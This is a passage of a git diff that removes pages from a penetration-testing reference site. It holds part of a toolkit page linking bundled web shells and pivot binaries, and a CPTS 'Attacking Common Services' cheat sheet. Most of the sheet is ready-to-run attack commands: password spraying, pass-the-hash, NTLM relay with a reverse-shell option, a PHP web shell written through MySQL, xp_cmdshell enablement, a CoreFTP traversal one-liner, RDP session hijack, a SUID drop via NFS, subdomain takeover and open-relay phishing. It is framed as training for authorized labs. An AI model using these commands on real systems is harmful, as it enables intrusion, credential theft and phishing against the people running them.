signature](/downloads/pentest-workflow/rp-shell.php.sha256.asc))<br>[rp-shell.asp](/downloads/pentest-workflow/rp-shell.asp) ([SHA-256](/downloads/pentest-workflow/rp-shell.asp.sha256) · [GPG signature](/downloads/pentest-workflow/rp-shell.asp.sha256.asc))<br>[rp-shell.jsp](/downloads/pentest-workflow/rp-shell.jsp) ([SHA-256](/downloads/pentest-workflow/rp-shell.jsp.sha256) · [GPG signature](/downloads/pentest-workflow/rp-shell.jsp.sha256.asc)) | Web | Web shells (Rosé Pine UI) | [Sheet 05](/sheets/pentest-workflow/web-shells) | -| [SHA256SUMS](/downloads/pentest-workflow/SHA256SUMS) ([GPG signature](/downloads/pentest-workflow/SHA256SUMS.asc)) | — | Integrity record for the whole bundle | All sheets | - -> [!tip]+ Verify before you fire -> `fas:Lightbulb` -> Run `sha256sum -c SHA256SUMS.txt` against the bundle before staging anything — a corrupted or tampered binary wastes an engagement. Expect AV/EDR to flag every offensive tool here; plan obfuscation, in-memory execution, or exclusion-aware staging accordingly. If you ever need to re-download, pull originals **only** from the official GitHub releases: -> - [itm4n/PrintSpoofer](https://github.com/itm4n/PrintSpoofer) -> - [peass-ng/PEASS-ng](https://github.com/peass-ng/PEASS-ng) -> - [DominicBreuker/pspy](https://github.com/DominicBreuker/pspy) -> - [jpillora/chisel](https://github.com/jpillora/chisel) -> - [nicocha30/ligolo-ng](https://github.com/nicocha30/ligolo-ng) -> - [gentilkiwi/mimikatz](https://github.com/gentilkiwi/mimikatz) -> - [SpecterOps/SharpHound](https://github.com/SpecterOps/SharpHound) -> - [PowerShellMafia/PowerSploit](https://github.com/PowerShellMafia/PowerSploit) -> - [BeichenDream/GodPotato](https://github.com/BeichenDream/GodPotato) -> - [int0x33/nc.exe](https://github.com/int0x33/nc.exe) - -### Modern replacements `ris:Refresh` - -Several tools named in older HTB modules and walkthroughs are deprecated or renamed. Map them before following an old writeup verbatim. - -| Legacy / module naming | Use instead | Why | -|---|---|---| -| CrackMapExec | NetExec (`nxc`) | Maintained fork; same workflow, active development | -| enum4linux | enum4linux-ng | Python 3 rewrite, richer output, maintained | -| `secretsdump.py` | `impacket-secretsdump` | New impacket entry-point naming | -| proxychains + `ssh -D` | ligolo-ng | Real TUN interface — no per-tool proxy wrapping, supports reverse connections | -| BloodHound Legacy | BloodHound CE | Current release; legacy GUI is end-of-life | - -## Progress -## How to use these cards - -- **Fingerprint first.** Don't run a WordPress attack chain against Joomla, or MSSQL syntax against MySQL. Each card opens with a detection block. -- **Misconfig before CVE.** Default creds, anonymous auth, and exposed management interfaces land more boxes than memory-corruption CVEs — check those first. -- **One target per command.** Use the `$IP`/`$TARGET` vars so you never fire at the wrong host. -- **Stage from the toolkit.** The binaries and shells referenced across the cards are bundled above — verify hashes, then move them to target with the transfer primitives in sheet 01. -- **Everything is loot.** Config files, connection strings, and service accounts found here feed [credential hunting](/sheets/pentest-workflow/password-attacks-and-credential-hunting) and lateral movement. -- **Choose the OS card after foothold.** Begin with native, read-only enumeration; rank token/privilege and configuration paths before testing a kernel exploit. -- **Treat shell quality as its own step.** Validate a web shell carefully, then allocate and stabilize a PTY before commands that require prompts, signals or screen handling. - ---- - -> [!navigation] Jump in -> **Services:** [01 - Attacking Common Services - CPTS Cheat Sheet](/sheets/pentest-workflow/attacking-common-services) · **Applications:** [02 - Attacking Common Applications - CPTS Cheat Sheet](/sheets/pentest-workflow/attacking-common-applications) · **Linux PrivEsc:** [03 - Linux Privilege Escalation - CPTS Cheat Sheet](/sheets/pentest-workflow/linux-privesc-cpts) · **Windows PrivEsc:** [04 - Windows Privilege Escalation - CPTS Cheat Sheet](/sheets/pentest-workflow/windows-privesc-cpts) · **Web Shells:** [05 - Web Shells - CPTS Cheat Sheet](/sheets/pentest-workflow/web-shells) · **TTY:** [06 - TTY Upgrades and Restricted Shells - CPTS Cheat Sheet](/sheets/pentest-workflow/tty-upgrades-and-restricted-shells) diff --git a/src/content/sheets/pentest-workflow/attacking-common-services.md b/src/content/sheets/pentest-workflow/attacking-common-services.md @@ -1,576 +0,0 @@ ---- -title: "Attacking Common Services — CPTS Cheat Sheet" -description: "Updated CPTS field reference for attacking common services — cpts cheat sheet." -category: pentest-workflow -subcategory: "General CPTS Cheatsheets" -order: 25 -tags: ["htb", "cpts", "attacking-common", "services", "ftp", "smb", "mssql", "rdp", "dns", "smtp", "nfs", "winrm", "kerberos", "pentest-workflow"] -tools: ["nmap", "smbclient / smbmap / rpcclient / enum4linux-ng", "netexec (nxc)", "impacket (psexec/smbexec/ntlmrelayx/mssqlclient/smbserver)", "hydra / medusa / crowbar / o365spray", "mysql / sqsh / sqlcmd", "xfreerdp / rdesktop", "dig / fierce / subfinder", "swaks / smtp-user-enum", "showmount / nfs-common", "kerbrute / impacket-GetNPUsers", "evil-winrm", "snmpwalk / onesixtyone", "chisel / ligolo-ng"] -difficulty: intermediate -updated: "2026-08-29" -source: "vault:Pentest Attack Flow/General Pentest Cheatsheets/01 - Attacking Common Services - CPTS Cheat Sheet.md" ---- -[← Workflow dashboard](/sheets/pentest-workflow/attacking-common-modules-dashboard) · [Full walkthrough guide](/sheets/pentest-workflow/attacking-common-services-guide) · [Field manual](/sheets/pentest-workflow/network-service-attack-manual) · [Next: Common Applications →](/sheets/pentest-workflow/attacking-common-applications) - -# Attacking Common Services — CPTS Cheat Sheet `fas:ClipboardList` - -> [!dashboard] Section context -> **Section:** [HTB Pentest Workflow](/sheets/pentest-workflow/attacking-common-modules-dashboard) · **Companion:** [Attacking Common Applications](/sheets/pentest-workflow/attacking-common-applications) -> **Full guide:** [Network Service Attack Manual](/sheets/pentest-workflow/network-service-attack-manual) · **Attack-flow deep dive:** [06 - Stage 03 - Service Enumeration](/sheets/pentest-workflow/service-enumeration) - -## Summary `ris:Eye` - -The reusable playbook for the services that dominate internal and perimeter networks: **FTP, SMB, SQL (MySQL/MSSQL), RDP, DNS, and email (SMTP/POP3/IMAP)** — plus the internal-network regulars that show up the moment you pivot: **NFS, Kerberos, WinRM, SNMP, and SSH**. The method is the same for every protocol — enumerate, try anonymous/default/reused credentials, spray, then exploit a misconfiguration or CVE — framed by the module's **Source → Process → Privileges → Destination** model. Misconfigurations (default creds, anonymous auth, over-privileged accounts, unnecessary defaults) land more boxes than memory-corruption bugs, so they come first. - -> [!danger]+ HTB-Only Boundary -> `fas:TriangleExclamation` -> 1. Authorized engagements / labs only. Password spraying, relaying, and RDP RCE (**BlueKeep can BSOD the target**) all affect availability — get sign-off. -> 2. Spray with lockout awareness: **one password across all users**, watch the domain lockout policy, never a full wordlist per account on a live AD. -> 3. Record every credential as sensitive evidence; don't paste secrets into permanent notes. - -<figure class="flow plate corners"> - <figcaption class="flow__cap"><span class="flow__kind">Service attack method</span><span class="flow__dir">LR</span></figcaption> - <div class="flow__body"> - <div class="flow__diagram" data-dir="lr"> - <div class="flow-rank"><div class="flow-node is-entry">Enumerate<span class="sub">(nmap -sC -sV)</span></div></div> - <div class="flow-edge"></div> - <div class="flow-rank"><div class="flow-node">Anonymous / null<span class="sub">access?</span></div></div> - <div class="flow-edge"></div> - <div class="flow-rank"><div class="flow-node">Default creds<span class="sub">→ weak combos</span></div></div> - <div class="flow-edge"></div> - <div class="flow-rank"><div class="flow-node">Reuse anything found<span class="sub">(even a filename)</span><span class="sub">across every service</span></div></div> - <div class="flow-edge"></div> - <div class="flow-rank"><div class="flow-node">Spray / brute<span class="sub">(lockout-aware)</span></div></div> - <div class="flow-edge"></div> - <div class="flow-rank"><div class="flow-node">Exploit misconfig / CVE<span class="sub">→ RCE or creds</span></div></div> - <div class="flow-edge"></div> - <div class="flow-rank"><div class="flow-node is-goal">Loot → feed<span class="sub">credential hunting</span></div></div> - </div> - </div> -</figure> - ---- - -## Methodology — the model behind every service `ris:FileList` - -> [!info]+ Concept of Attacks · Source → Process → Privileges → Destination -> - **Source** — where input enters: user input, config, libraries, APIs, a header (Log4j **CVE-2021-44228** rode a JNDI string in `User-Agent`). -> - **Process** — the logic handling that input; most vulns live here. -> - **Privileges** — the context it runs as (SYSTEM/root, service account, app role) = blast radius. -> - **Destination** — local (file/local service) or network (another host). The cycle is linear; a full chain is usually an *initiation* cycle (leak/foothold) plus a *trigger* cycle (→ RCE). - -> [!tip]+ Misconfiguration checklist (offensive = defensive, OWASP A05:2021) -> `fas:Lightbulb` -> 1. **Default credentials** — `admin:admin`, `admin:password`, `root:12345678`, `administrator:Password`, blanks. -> 2. **Anonymous authentication** — FTP, SMB, occasionally SQL. -> 3. **Misconfigured access rights** — over-privileged service/user accounts. -> 4. **Unnecessary defaults** — sample files, admin/debug interfaces, verbose errors. -> Order: banner-grab → default creds → weak combos → full brute force. Audit tools: CIS-CAT, Lynis, testssl.sh. - -> [!info]+ Finding sensitive information — reuse everything -> The module's worked chain: anonymous FTP exposes an empty file named `johnsmith` → try `johnsmith:johnsmith` on FTP (fails) → **same creds on the mail service (succeeds)** → grep the mailbox for the literal string `password` → recover MSSQL creds → `xp_cmdshell` → RCE. Lesson: a *filename* is a candidate username/password. Try anonymous access broadly first (cheap, non-destructive), then reuse any string found against every other service before brute-forcing. - ---- - -## Evidence-first service triage `fas:MagnifyingGlass` - -Keep discovery, authentication, and exploitation separate. This makes the evidence easier to review and prevents a successful credential from being lost in noisy scan output. - -| Pass | Question | Capture | -|---|---|---| -| 1 · Identify | What protocol, product, version, and TLS identity answered? | Port, banner, certificate names, scan command | -| 2 · Enumerate | What is exposed without credentials? | Shares, databases, users, capabilities, screenshots | -| 3 · Authenticate | Which scoped credential works, and where? | Account, realm, service, time; keep the secret outside the note | -| 4 · Validate | What is the least-invasive proof of impact? | Read-only query/listing first; exact output and artifact hash | -| 5 · Feed forward | Does the result reveal another host, user, or credential? | Add it to the target/credential matrix and retest deliberately | - -```bash -# One evidence directory per host; tee only non-secret output -EVIDENCE="evidence/${IP}" -mkdir -p "$EVIDENCE" -sudo nmap -Pn -sV -sC -oA "$EVIDENCE/services" "$IP" -``` - -> [!warning]+ Credential handling -> Avoid passwords in command history and process lists. Prefer tool-supported prompts, protected credential files (`chmod 600`), or environment-specific secret storage; redact exported notes before sharing. - ---- - -## Interacting with services — quick reference `fas:Terminal` - -```batch -:: SMB from Windows CMD -dir \\192.168.220.129\Finance\ -net use n: \\192.168.220.129\Finance /user:plaintext Password123 -:: Count files, then search names and contents. -dir n: /a-d /s /b | find /c ":\" -dir n:\*cred* /s /b -findstr /s /i cred n:\*.* -``` - -```powershell -# SMB from PowerShell (with creds) -$password = ConvertTo-SecureString 'Password123' -AsPlainText -Force -$cred = New-Object System.Management.Automation.PSCredential('plaintext', $password) -New-PSDrive -Name "N" -Root "\\192.168.220.129\Finance" -PSProvider "FileSystem" -Credential $cred -Get-ChildItem -Recurse -Path N:\ -Include *cred* -File -Get-ChildItem -Recurse -Path N:\ | Select-String "cred" -List -``` - -```bash -# SMB mount from Linux — prepare /tmp/smb.creds in an editor, then protect it -# File format: username=plaintext, password=<secret>, domain=. -chmod 600 /tmp/smb.creds -sudo mount -t cifs -o credentials=/tmp/smb.creds //192.168.220.129/Finance /mnt/Finance -find /mnt/Finance/ -iname '*cred*' -grep -rn /mnt/Finance/ -ie cred - -# SQL clients -sqsh -S $IP -U username -P Password123 # MSSQL, plaintext auth only -mysql -u username -pPassword123 -h $IP # MySQL -impacket-mssqlclient -port 1433 username@$IP # impacket → NTLM-hash / Kerberos auth -``` - -> [!note]+ Tooling notes -> Prefer `enum4linux-ng` over the legacy Perl `enum4linux`. Use current **NetExec** syntax (`nxc`) when older material says CrackMapExec — the flags are the same (`nxc smb ... -u -p -x`). Use `impacket-mssqlclient` rather than `sqsh` when you only have an NTLM hash or need Kerberos, and `impacket-secretsdump` (not `secretsdump.py`) on current impacket installs. For traffic through tunnels: **proxychains gives you a SOCKS4/5 pivot only — nmap is limited to `proxychains nmap -sT -Pn` (TCP connect, no service/SYN/UDP scan, no host discovery); ligolo-ng's TUN interface routes real packets, so full `nmap -sS`, UDP, and non-proxy-aware tools (responder, smbserver) just work.** - -> [!tip]+ Bundled pivot tools — chisel & ligolo-ng -> `fas:Route` -> - Binaries: [chisel.exe](/downloads/pentest-workflow/chisel.exe) ([SHA-256](/downloads/pentest-workflow/chisel.exe.sha256) · [GPG signature](/downloads/pentest-workflow/chisel.exe.sha256.asc)) · [chisel_linux_amd64](/downloads/pentest-workflow/chisel_linux_amd64) ([SHA-256](/downloads/pentest-workflow/chisel_linux_amd64.sha256) · [GPG signature](/downloads/pentest-workflow/chisel_linux_amd64.sha256.asc)) · [ligolo-ng_agent_windows_amd64.zip](/downloads/pentest-workflow/ligolo-ng_agent_windows_amd64.zip) ([SHA-256](/downloads/pentest-workflow/ligolo-ng_agent_windows_amd64.zip.sha256) · [GPG signature](/downloads/pentest-workflow/ligolo-ng_agent_windows_amd64.zip.sha256.asc)) · [ligolo-ng_agent_linux_amd64.tar.gz](/downloads/pentest-workflow/ligolo-ng_agent_linux_amd64.tar.gz) ([SHA-256](/downloads/pentest-workflow/ligolo-ng_agent_linux_amd64.tar.gz.sha256) · [GPG signature](/downloads/pentest-workflow/ligolo-ng_agent_linux_amd64.tar.gz.sha256.asc)) -> - **ligolo-ng (TUN, full-stack pivot):** on attacker `./proxy -selfcert -laddr 0.0.0.0:11601` → on target `agent -connect <attacker>:11601 -ignore-cert` → in proxy console: `session`, `ifcreate`, then `listener_add --addr 0.0.0.0:11601 --to 127.0.0.1:11601` and `ip route add <internal-cidr> dev ligolo`. -> - **chisel (SOCKS, single binary):** on attacker `./chisel server -p 8000 --reverse` → on target `chisel.exe client <attacker>:8000 R:socks` → `proxychains` through the resulting SOCKS5 (default 1080). - -> [!tip]+ FTP/SMB writable → webroot drop (bundled web shells) -> `fas:Spider` -> A writable share that maps to the webroot (or FTP exposed by a web server) is RCE: drop a shell, request it over HTTP. -> - Linux/Apache+PHP: [rp-shell.php](/downloads/pentest-workflow/rp-shell.php) ([SHA-256](/downloads/pentest-workflow/rp-shell.php.sha256) · [GPG signature](/downloads/pentest-workflow/rp-shell.php.sha256.asc)) → `curl 'http://$IP/rp-shell.php?c=id'` -> - Windows/IIS+ASPX: [nt-webshell-rosepine.aspx](/downloads/pentest-workflow/nt-webshell-rosepine.aspx) ([SHA-256](/downloads/pentest-workflow/nt-webshell-rosepine.aspx.sha256) · [GPG signature](/downloads/pentest-workflow/nt-webshell-rosepine.aspx.sha256.asc)) → browse the page for the command box -> Verify mapping first (plant a `.txt`, fetch it via HTTP); IIS on AD boxes often wants ASPX, and writable FTP roots on Windows are usually `C:\inetpub\wwwroot`. - ---- - -## FTP `fas:Terminal` — TCP/21 - -```bash -# Enumerate (-sC runs ftp-anon; NSE flags a writable dir = webshell drop candidate) -sudo nmap -sC -sV -p21 $IP - -# Anonymous login -ftp $IP # Name: anonymous Password: <blank/arbitrary> -# ls / cd navigate · get/mget download · put/mput upload - -# Brute-force -medusa -u fiona -P /usr/share/wordlists/rockyou.txt -h $IP -M ftp -hydra -L users.txt -P /usr/share/wordlists/rockyou.txt ftp://$IP - -# FTP Bounce — use the FTP server as a scan proxy to reach an internal host -nmap -Pn -v -n -p80 -b anonymous:password@172.17.0.2 172.17.0.2 -``` - -> [!bug]+ CVE-2022-22836 · CoreFTP arbitrary file write (dir traversal) -> The HTTP `PUT` handler doesn't normalise `../`; `--path-as-is` sends the raw traversal; Basic Auth required. -> ```bash -> curl -k -X PUT -H "Host: <IP>" --basic -u <user>:<pass> --data-binary "PoC." --path-as-is https://<IP>/../../../../../../whoops -> ``` -> General CVE lookup: `searchsploit <product> <version>` · `nuclei -t cves/ -u ftp://$IP` - ---- - -## SMB `fas:Terminal` — TCP/445 (139 NetBIOS) - -```bash -# Enumerate — note smb2-security-mode: "signing not required" = NTLM-relay prereq -sudo nmap $IP -sV -sC -p139,445 - -# Null-session share enum (-N null auth) -smbclient -N -L //$IP -smbmap -H $IP -smbmap -H $IP -r notes -smbmap -H $IP --download "notes\note.txt" -smbmap -H $IP --upload test.txt "notes\test.txt" - -# RPC enum (% = null user+pass) and full enum -rpcclient -U'%' $IP # then: enumdomusers -./enum4linux-ng.py $IP -A -C -``` - -```bash -# Password spray (--local-auth = non-domain/local accounts; add --continue-on-success) -nxc smb $IP -u /tmp/userlist.txt -p 'Company01!' --local-auth -# output "(Pwn3d!)" = local admin on that host - -# Remote code execution -impacket-psexec administrator:'Password123!'@$IP # ADMIN$ + Service Control Manager -nxc smb $IP -u Administrator -p 'Password123!' -x 'whoami' --exec-method smbexec -# impacket-smbexec = no writable share · impacket-atexec = Task Scheduler · nxc -x CMD / -X PowerShell - -# Loot: logged-on users + local SAM hashes -nxc smb 10.10.110.0/24 -u administrator -p 'Password123!' --loggedon-users -nxc smb $IP -u administrator -p 'Password123!' --sam # + impacket-secretsdump for LSA/NTDS - -# Pass-the-Hash (-H NTLM) -nxc smb $IP -u Administrator -H 2B576ACBE6BCFDA7294D6BD18041B8FE -``` - -> [!warning]+ SMB relay — check preconditions before you claim it -> `fas:Shield` -> NTLM relay fails silently if you skip the checks: -> 1. **SMB signing must be off/optional** on the *target* — verify with `nxc smb $IP` output (`signing:False`) or `nmap --script smb2-security-mode`. Domain controllers have signing **required** by default: never relayable to SMB. (LDAP/LDAPS relaying has its own channel-binding/EPA constraints.) -> 2. **You need incoming authentication to relay** — poisoning (Responder on LLMNR/NBT-NS/mDNS) only works when a victim mistypes a name; otherwise coerce it: **PetitPotam (MS-EFSRPC), PrinterBug (MS-RPRN), or ShadowCoerce** against hosts where you have *any* creds or null session. -> 3. **Prove impact before claiming impact** — a successful relay that only dumps the local SAM of a workstation is not domain compromise; confirm with a command (`-c`), a secretsdump, or an authenticated follow-up connection, and capture the output as evidence. -> ```bash -> # Set SMB = Off and HTTP = Off in /etc/responder/Responder.conf first, then: -> impacket-ntlmrelayx --no-http-server -smb2support -t 10.10.110.146 -> # add -c '<b64 PowerShell revshell>' to execute instead of the default SAM dump -> # Coerce (any low-priv creds): -> nxc smb $TARGET -u user -p 'pass' -M coerce_plus # or: coercer/petitpotam.py standalone -> ``` - -> [!tip]+ Forced auth (Responder) → crack or relay -> ```bash -> sudo responder -I tun0 # capture NetNTLMv2 -> hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt # crack (5600 = NetNTLMv2) -> # Relay instead: see the preconditions callout above. -> ``` -> **CVE-2020-0796 (SMBGhost)** — SMBv3.1.1 compression integer overflow, Win10 1903/1909; conceptual in-module, Metasploit for labs. - ---- - -## Kerberos quick hits `fas:Key` — TCP/UDP 88 (AD context) - -Fast wins once a DC (`-dc-ip`) and domain are known — no prior creds needed for either. - -```bash -# User enumeration (Kerberos error codes; quiet — no lockouts, pre-auth only) -kerbrute userenum --dc $DCIP -d inlanefreight.local /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt - -# AS-REP Roast — users with "Do not require Kerberos preauthentication" → crackable hash -impacket-GetNPUsers inlanefreight.local/ -dc-ip $DCIP -usersfile users.txt -format hashcat -outputfile asrep.txt -# with creds, roast everything at once: impacket-GetNPUsers inlanefreight.local/user:'pass' -dc-ip $DCIP -request -hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt # 18200 = AS-REP (krb5asrep 23) -``` - -> [!note]+ Scope note -> Full AD attacks (Kerberoast, delegation, ADCS) live in the AD cheat sheet — this is just the zero-cred surface that appears while attacking *common services*. Feed every valid username from kerbrute straight into your SMB/WinRM/RDP sprays. - ---- - -## WinRM `fas:Terminal` — TCP/5985 (HTTP) · 5986 (HTTPS) - -PowerShell remoting endpoint; on Server it's often enabled even when RDP is not. Creds that fail RDP frequently work here (and vice versa — reuse both ways). - -```bash -# Detect + auth check -nxc winrm $IP -u user -p 'pass' # "(Pwn3d!)" = member of Administrators/Remote Management Users - -# Shell — password or NTLM hash -evil-winrm -i $IP -u user -p 'pass' -evil-winrm -i $IP -u Administrator -H 2B576ACBE6BCFDA7294D6BD18041B8FE - -# Legacy alternative -ruby /usr/share/evil-winrm/evil-winrm.rb ... # or: msf exploit/windows/winrm/winrm_script_exec -``` - -> [!tip]+ Inside evil-winrm -> Built-ins: `upload` / `download`, `menu` (Invoke-Binary, Dll-Loader, Donut-Loader), `-s <scripts dir>` to auto-load PowerShell scripts. Traffic is SOAP over HTTP(S) — proxychains-compatible, unlike raw SMB. - ---- - -## SNMP `fas:Terminal` — UDP/161 - -Community strings are cleartext passwords over UDP; `public`/`private` are the defaults, and **read-write strings (`private`) on Windows = full registry/process/service enumeration and config change**. - -```bash -# Discovery — community string wordlist brute -onesixtyone -c /usr/share/seclists/Discovery/SNMP/snmp-onesixtyone.txt $IP -sudo nmap -sU -p161 --script snmp-brute $IP - -# Walk (v1/v2c; use MIBs so OIDs resolve to names) -snmpwalk -v2c -c public $IP -snmpwalk -v2c -c public -m ALL $IP .1.3.6.1.2.1 -# 1.3.6.1.2.1.25.1.6 = running processes 1.3.6.1.4.1.77.1.2.25 = Windows users -``` - -> [!tip]+ SNMP pays twice -> `fas:Lightbulb` -> 1. Windows host with `public`: pull the **local user list** (`...77.1.2.25`) → feed the spray. -> 2. Network gear with a **read-write** string: `snmpset` to rewrite the config, or dump the running-config via TFTP and harvest creds (Cisco type-7 = reversible). SNMPv3 has real auth — if v1/v2c answers at all, that's the finding. - ---- - -## SQL Databases `fas:Terminal` — MSSQL 1433 · MySQL 3306 - -```bash -nmap -Pn -sV -sC -p1433,3306 $IP - -mysql -u julio -pPassword123 -h $IP -sqsh -S $IP -U .\\julio -P 'MyPassword!' -h # .\ prefix forces a LOCAL SQL account; -h no headers -impacket-mssqlclient -port 1433 julio@$IP # impacket -# hash auth: impacket-mssqlclient -hashes :<NTLM> julio@$IP -# Kerberos: impacket-mssqlclient -k -no-pass julio@host.domain -``` - -```sql --- Enumerate (MSSQL, GO terminates each batch) -SELECT name FROM master.dbo.sysdatabases -GO --- Enumerate (MySQL) -SHOW DATABASES; USE htbusers; SHOW TABLES; SELECT * FROM users; -``` - -**MSSQL → RCE with `xp_cmdshell`:** -```sql -xp_cmdshell 'whoami' -GO --- if disabled (needs sysadmin): -EXECUTE sp_configure 'show advanced options', 1 -RECONFIGURE -EXECUTE sp_configure 'xp_cmdshell', 1 -RECONFIGURE -GO --- impacket-mssqlclient shortcut: enable_xp_cmdshell (then: xp_cmdshell whoami) -``` - -**MySQL file read/write** (needs `FILE` priv + empty `secure_file_priv`): -```sql -SHOW VARIABLES LIKE "secure_file_priv"; -SELECT "<?php echo shell_exec($_GET['c']);?>" INTO OUTFILE '/var/www/html/webshell.php'; -SELECT LOAD_FILE("/etc/passwd"); -``` - -**MSSQL file read** (service-account perms, no special config): -```sql -SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents -GO -``` - -**MSSQL privesc — `IMPERSONATE`:** -```sql -EXECUTE AS LOGIN = 'sa' -SELECT SYSTEM_USER -SELECT IS_SRVROLEMEMBER('sysadmin') -GO -- run from master; REVERT to switch back -``` - -**MSSQL linked-server pivot:** -```sql -SELECT srvname, isremote FROM sysservers -GO -EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [10.0.0.12\SQLEXPRESS] -GO -- double single-quotes escape; chain with ; -``` - -> [!tip]+ Steal NetNTLMv2 with `xp_dirtree` -> ```bash -> sudo impacket-smbserver share ./ -smb2support # or: sudo responder -I tun0 -> ``` -> ```sql -> EXEC master..xp_dirtree '\\10.10.110.17\share\' -> GO -- xp_subdirs may say access-denied yet still capture the hash -> ``` -> Legacy: **CVE-2012-2122** — MySQL 5.6.x timing auth bypass (unpatched-only). - ---- - -## RDP `fas:Terminal` — TCP/3389 - -```bash -nmap -Pn -p3389 $IP # ms-wbt-server - -# Password spray (hydra rdp module is experimental → -t 1..4, -W 1..3) -crowbar -b rdp -s $IP/32 -U users.txt -c 'password123' -hydra -L usernames.txt -p 'password123' $IP rdp - -# Login -rdesktop -u admin -p password123 $IP -xfreerdp /v:$IP /u:<user> /p:<password> -xfreerdp /v:$IP /u:<user> /p:<pass> /drive:share,/home/kali/share # drag tools in via tsclient -``` - -```batch -:: Session hijack — needs SYSTEM (service runs as Local System). Does NOT work on Server 2019+. -query user -sc.exe create sessionhijack binpath= "cmd.exe /k tscon 2 /dest:rdp-tcp#13" -net start sessionhijack -``` - -```batch -:: Pass-the-Hash via Restricted Admin Mode (enable it first — needs prior local admin) -reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f -``` -```bash -xfreerdp /v:$IP /u:lewen /pth:300FF5E89EF33F83A8146C10F5AB9BB9 -``` - -> [!warning]+ CVE-2019-0708 (BlueKeep) -> Unauthenticated use-after-free in the RDP virtual-channel exchange → RCE as LocalSystem. **Can BSOD the target — client sign-off required.** Metasploit: `rdp_scanner` to check, `cve_2019_0708_bluekeep_rce` to exploit. - ---- - -## NFS `fas:Terminal` — TCP/UDP 2049 (+ 111 rpcbind) - -Linux file shares; misconfigured exports hand you the target's filesystem — and with `no_root_squash`, a root shell. - -```bash -# List exports -showmount -e $IP - -# Mount read-only first (evidence-safe); nolock skips lockd on old NFS -sudo mkdir -p /mnt/nfs && sudo mount -o ro,nolock -t nfs $IP:/share /mnt/nfs - -# no_root_squash check — if your root-mapped files stay uid=0, the export squashes nothing: -# drop a setuid binary: cp bash /mnt/nfs/ && chmod +s /mnt/nfs/bash -# then on the target (any shell): ./bash -p → euid=0 -``` - -| Export option | Meaning for you | -|---|---| -| `no_root_squash` | Your local root = root on the share → SUID-drop privesc | -| `root_squash` (default) | Root mapped to `nfsnobody`; look for world-writable files / SSH keys instead | -| `insecure` | Clients may connect from ports >1024 — irrelevant for root, matters for users | -| `rw` + webroot | Same webshell-drop play as writable FTP/SMB | - ---- - -## SSH `fas:Terminal` — TCP/22 - -Rarely "attacked" directly — the play is **key reuse** from everything else you loot. - -```bash -# Any readable home dir (NFS, FTP, web LFI) → hunt keys -find /mnt/nfs -name 'id_rsa*' -o -name '*.pem' 2>/dev/null -chmod 600 id_rsa && ssh -i id_rsa user@$IP - -# Encrypted key? crack it -ssh2john id_rsa > hash && john --wordlist=/usr/share/wordlists/rockyou.txt hash - -# Spray (rarely worth it; keys land more often) -hydra -L users.txt -p 'password123' ssh://$IP -``` - -> [!tip]+ Reuse rule for SSH -> `fas:Key` -> Passwords recovered from mailboxes, configs, and SNMP walks get tried against SSH first — it's the cleanest shell and (on Linux) the most common sudo path. And one host's `id_rsa` frequently logs into the *next* host as the same user; check `~/.ssh/known_hosts` on every compromised box for the pivot map. - ---- - -## DNS `fas:Terminal` — UDP/53 (TCP/53 for zone transfers) - -```bash -nmap -p53 -Pn -sV -sC $IP - -# Zone transfer (AXFR) — leaks the entire internal namespace if misconfigured -dig AXFR @ns1.inlanefreight.htb inlanefreight.htb -fierce --domain zonetransfer.me - -# Subdomain enumeration (passive first, then brute) → subdomain takeover -./subfinder -d inlanefreight.com -v -host support.inlanefreight.com -# CNAME → inlanefreight.s3.amazonaws.com; "NoSuchBucket" = dangling CNAME -# → register the S3 bucket "inlanefreight" to take over the subdomain -# scale check: nuclei -t subdomain-takeover ; repo: can-i-take-over-xyz -``` - -> [!info]+ Local DNS spoofing (Ettercap/Bettercap — requires L2 MITM) -> Edit `/etc/ettercap/etter.dns` → `inlanefreight.com A 192.168.225.110` (and `*.inlanefreight.com`), ARP-spoof victim↔gateway, enable the `dns_spoof` plugin. Bettercap is the modern successor. - ---- - -## Email Services `fas:Terminal` — SMTP 25 · POP3 110 · IMAP 143 (+ TLS 465/587/993/995) - -```bash -# MX + provider recon (O365 = *.mail.protection.outlook.com, G-Suite = aspmx.l.google.com) -host -t MX hackthebox.eu -dig mx inlanefreight.com | grep "MX" | grep -v ";" -sudo nmap -Pn -sV -sC -p25,143,110,465,587,993,995 $IP -``` - -**Manual user enumeration (telnet):** -```text -# SMTP (port 25) # POP3 (port 110) -VRFY root → 252 valid / 550 invalid USER john → +OK valid / -ERR invalid -EXPN john → expands distribution lists -MAIL FROM:john@inlanefreight.htb -RCPT TO:john → 250 valid / 550 unknown -``` - -```bash -# Automated SMTP enum -smtp-user-enum -M RCPT -U userlist.txt -D inlanefreight.htb -t $IP -# -M VRFY|EXPN|RCPT (also: msf auxiliary/scanner/smtp/smtp_enum) - -# Office 365 — Hydra is throttled by MS; use o365spray / MailSniper -python3 o365spray.py --validate --domain msplaintext.xyz -python3 o365spray.py --enum -U users.txt --domain msplaintext.xyz -python3 o365spray.py --spray -U usersfound.txt -p 'March2022!' --count 1 --lockout 1 --domain msplaintext.xyz - -# Self-hosted spray (swap pop3 for smtp / imap; -f stop on first hit) -hydra -L users.txt -p 'Company01!' -f $IP pop3 - -# Open relay → phishing -nmap -p25 -Pn --script smtp-open-relay $IP -swaks --from admin@company.com --to john@company.com --header 'Subject: Company Notification' --body 'http://mycustomphishinglink/' --server $IP -``` - -> [!bug]+ CVE-2020-7247 · OpenSMTPD unauthenticated RCE -> A `;` in the sender-address field breaks parsing → command execution **as root** (mail daemon on a standardised port runs as root). PoC is a ≤64-char shell command in the sender field (Exploit-DB). - ---- - -## CVE quick index `ris:GlobalLine` - -| CVE / Name | Service | Nature | Exploit | -|---|---|---|---| -| CVE-2021-44228 (Log4j) | any (concept) | JNDI header injection → RCE | model only | -| CVE-2022-22836 (CoreFTP) | FTP | HTTP PUT dir-traversal file write | `curl` one-liner above | -| CVE-2020-0796 (SMBGhost) | SMB | SMBv3.1.1 compression overflow | Metasploit (lab) | -| CVE-2012-2122 | MySQL 5.6.x | timing auth bypass | version-gated | -| CVE-2019-0708 (BlueKeep) | RDP | unauth UAF → RCE (BSOD risk) | `...bluekeep_rce` | -| CVE-2020-7247 